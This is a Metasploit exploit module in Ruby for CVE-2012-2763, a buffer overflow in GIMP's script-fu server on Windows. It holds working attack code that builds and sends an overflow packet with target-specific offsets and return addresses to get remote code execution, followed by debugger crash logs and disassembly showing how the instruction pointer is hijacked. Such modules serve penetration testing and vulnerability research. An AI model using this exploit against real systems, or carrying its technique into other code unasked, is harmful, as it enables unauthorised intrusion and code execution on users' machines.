1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'GIMP script-fu Server Buffer Overflow',
16
        'Description' => %q{
17
          This module exploits a buffer overflow in the script-fu server
18
          component on GIMP <= 2.6.12. By sending a specially crafted packet, an
19
          attacker may be able to achieve remote code execution under the context
20
          of the user.
21

22
          This module has been tested on GIMP for Windows from installers
23
          provided by Jernej Simoncic.
24
        },
25
        'Author' => [
26
          'Joseph Sheridan', # Vulnerability Discovery and PoC
27
          'juan vazquez' # Metasploit module
28
        ],
29
        'References' => [
30
          [ 'CVE', '2012-2763' ],
31
          [ 'OSVDB', '82429' ],
32
          [ 'BID', '53741' ],
33
          [ 'EDB', '18956' ],
34
          [ 'URL', 'http://www.reactionpenetrationtesting.co.uk/advisories/scriptfu-buffer-overflow-GIMP-2.6.html' ]
35
        ],
36
        'DefaultOptions' => {
37
          'EXITFUNC' => 'process',
38
        },
39
        'Payload' => {
40
          'Space' => 1024,
41
          'BadChars' => "\x00\x09\x0a\x0d\x20\x28\x29\x3b" + (0x80..0xff).to_a.pack("C*"),
42
          'DisableNops' => true,
43
        },
44
        'Platform' => 'win',
45
        'Targets' => [
46
          [
47
            'GIMP 2.6.10 (no DEP) / Windows XP SP3 / Windows 7 SP1',
48
            {
49
              'Offset' => 1102,
50
              'Ret' => 0x00425a52,
51
              'BufferRegister' => 'EDX'
52
            }
53
          ],
54
          [
55
            'GIMP 2.6.1 (no DEP) / Windows XP SP3 / Windows 7 SP1',
56
            {
57
              'Offset' => 1086,
58
              'Ret' => 0x00425a22,
59
              'BufferRegister' => 'EAX'
60
            }
61
          ]
62
        ],
63
        'Privileged' => true,
64
        'DefaultTarget' => 0,
65
        'DisclosureDate' => '2012-05-18',
66
        'Notes' => {
67
          'Reliability' => UNKNOWN_RELIABILITY,
68
          'Stability' => UNKNOWN_STABILITY,
69
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
70
        }
71
      )
72
    )
73

74
    register_options([Opt::RPORT(10008)])
75
  end
76

77
  def exploit
78
    connect
79

80
    payload.encoder.datastore.import_options_from_hash({ 'BufferRegister' => target['BufferRegister'] })
81
    my_payload = payload.generate
82
    sploit = my_payload
83
    sploit << rand_text(target['Offset'] - my_payload.length)
84
    sploit << [target.ret].pack("V")
85

86
    pkt = "\x47" # Magic
87
    pkt << [sploit.length / 256].pack("C") # length_of_script_fu (high byte)
88
    pkt << [sploit.length % 256].pack("C") # length_of_script_fu (low byte)
89
    pkt << sploit
90

91
    print_status("Trying target #{target.name}...")
92
    sock.put(pkt)
93

94
    handler
95
    disconnect
96
  end
97
end
98

99
=begin
100

101
* Crash example:
102

103
0:003> g
104
(b2c.b28): Access violation - code c0000005 (first chance)
105
First chance exceptions are reported before any exception handling.
106
This exception may be expected and handled.
107
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\GIMP-2.0\lib\gimp\2.0\plug-ins\script-fu.exe
108
eax=00000000 ebx=0041e523 ecx=61616161 edx=61616161 esi=003ed200 edi=00000001
109
eip=61616161 esp=0022f87c ebp=0022f898 iopl=0         nv up ei pl nz na po nc
110
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
111
61616161 ??              ???
112
0:000> kb
113
ChildEBP RetAddr  Args to Child
114
WARNING: Frame IP not in any known module. Following frames may be wrong.
115
0022f878 0040c86f 00000000 0041e523 00000007 0x61616161
116
0022f898 0040c944 00000000 0041e523 00000007 script_fu+0xc86f
117
0022f8c8 004102fe 00420240 0041e523 0022f918 script_fu+0xc944
118
0022f918 0040e6ca 00420240 00000086 77c303ad script_fu+0x102fe
119
0022fb78 0040ea8e 00ff2c38 00f32df0 0022fba8 script_fu+0xe6ca
120
0022fba8 004087cf 00420240 00ff2c38 00989680 script_fu+0xea8e
121
0022fbc8 00407f8a 00ff2c38 00f32df0 00000000 script_fu+0x87cf
122
0022fe18 00408601 00f7a040 00000000 00000001 script_fu+0x7f8a
123
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\GIMP-2.0\bin\libgimp-2.0-0.dll -
124
0022fe78 6f4c304b 003ec238 00000001 003ec3c8 script_fu+0x8601
125
0022ff28 00401a81 0041b510 00000006 003e4878 libgimp_2_0_0!gimp_main+0x73b
126
0022ff58 004010db 00000006 003e4878 003e29e8 script_fu+0x1a81
127
0022ffa0 00401158 00000002 8061750d 7c90dc9c script_fu+0x10db
128
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
129
0022ffc0 7c817067 00017228 1474f685 7ffda000 script_fu+0x1158
130
0022fff0 00000000 00401140 00000000 78746341 kernel32!RegisterWaitForInputIdle+0x49
131

132
* Control is reached here:
133

134
.text:0040C851 loc_40C851:                             ; CODE XREF: sub_40C830+19j
135
.text:0040C851                 test    edx, edx
136
.text:0040C853                 jz      short loc_40C84B
137
.text:0040C855                 mov     ecx, ds:dword_420E24
138
.text:0040C85B                 mov     [esp+18h+var_14], ebx
139
.text:0040C85F                 mov     [esp+18h+var_C], ecx
140
.text:0040C863                 mov     [esp+18h+var_10], eax
141
.text:0040C867                 mov     eax, [ebp+arg_0]
142
.text:0040C86A                 mov     [esp+18h+var_18], eax
143
.text:0040C86D                 call    edx ; dword_420E20 : Overwriting dword_420E20 allows to get EIP
144

145
The overflow allows to overwrite function pointers stored in the .bss (unitialized
146
global variables)
147

148
0:003> g
149
Breakpoint 0 hit
150
eax=00000000 ebx=0041e523 ecx=bfbfbf00 edx=42424242 esi=003ed200 edi=00000001
151
eip=0040c86d esp=0022f880 ebp=0022f898 iopl=0         nv up ei pl nz na pe nc
152
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
153
script_fu+0xc86d:
154
0040c86d ffd2            call    edx {42424242}
155

156
=end
157

158